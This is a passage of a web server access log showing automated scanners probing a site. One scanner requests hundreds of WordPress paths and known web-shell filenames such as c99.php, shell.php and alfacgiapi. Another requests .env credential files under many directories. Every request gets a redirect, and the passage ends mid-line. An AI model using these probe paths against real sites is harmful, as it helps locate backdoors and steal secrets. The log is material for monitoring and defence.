"-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:26 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:26 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:27 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:28 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:28 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:29 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:30 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:30 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:31 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:31 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:32 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:32 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:33 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:33 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:33 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:33 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:34 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:34 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:34 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:34 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:35 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:36 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:38 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:38 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:40 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:41 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:42 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:43 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:43 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:44 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:44 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:44 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:45 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:45 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:45 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:46 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:46 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:47 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:47 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:47 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:48 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:49 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:50 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:51 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:51 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:52 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:52 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:52 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:53 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:53 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:53 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:53 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:54 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:55 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:55 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:55 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:56 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:56 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:57 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:57 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:58 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:56:59 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:00 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:02 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:02 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:02 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:03 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:04 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:04 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:05 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:07 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:08 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:10 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:10 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:11 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:13 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:13 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:14 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:14 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:15 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:15 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:17 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:17 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:18 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:18 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:20 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:20 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:22 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:23 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:24 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:25 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:25 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:26 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:26 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:27 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:27 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:28 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:28 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:29 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:31 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:32 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:33 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:34 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:35 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:35 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:35 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:36 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:37 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:37 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:37 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:38 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:38 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:38 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:39 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:39 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:39 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:39 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:40 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:40 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:40 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:40 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:41 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:41 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:41 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:41 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:42 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:42 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:42 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:42 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:43 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:43 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:43 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:44 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:44 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:44 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:44 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:45 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:45 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:45 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:46 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:46 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:47 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:48 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:48 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:49 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:49 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:49 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:50 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:50 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:51 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:51 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:51 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:51 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:51 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:52 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:52 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:52 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:53 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:53 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:53 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:54 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:54 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:54 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:55 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:56 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:56 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:56 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:57 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:58 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:58 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:59 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:59 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:57:59 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:00 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:01 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:01 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:02 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:02 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:02 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:03 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.192.24 - - [25/Apr/2025:19:58:03 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 103.190.80.120 - - [25/Apr/2025:19:58:19 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:21 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:22 -0400] "GET /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:24 -0400] "GET /test/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:26 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:28 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:29 -0400] "GET /sites/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:31 -0400] "GET /blog/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:32 -0400] "GET /system/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:34 -0400] "GET /public/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:58:36 -0400] "GET /shop/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 34.214.70.91 - - [25/Apr/2025:20:03:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 66.249.79.96 - - [25/Apr/2025:20:06:12 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [25/Apr/2025:20:06:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 176.67.82.123 - - [25/Apr/2025:20:23:19 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 40.123.39.43 - - [25/Apr/2025:20:48:09 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:10 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:10 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:10 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:11 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:11 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:12 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:12 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:12 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:13 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:13 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:13 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:14 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:14 -0400] "GET 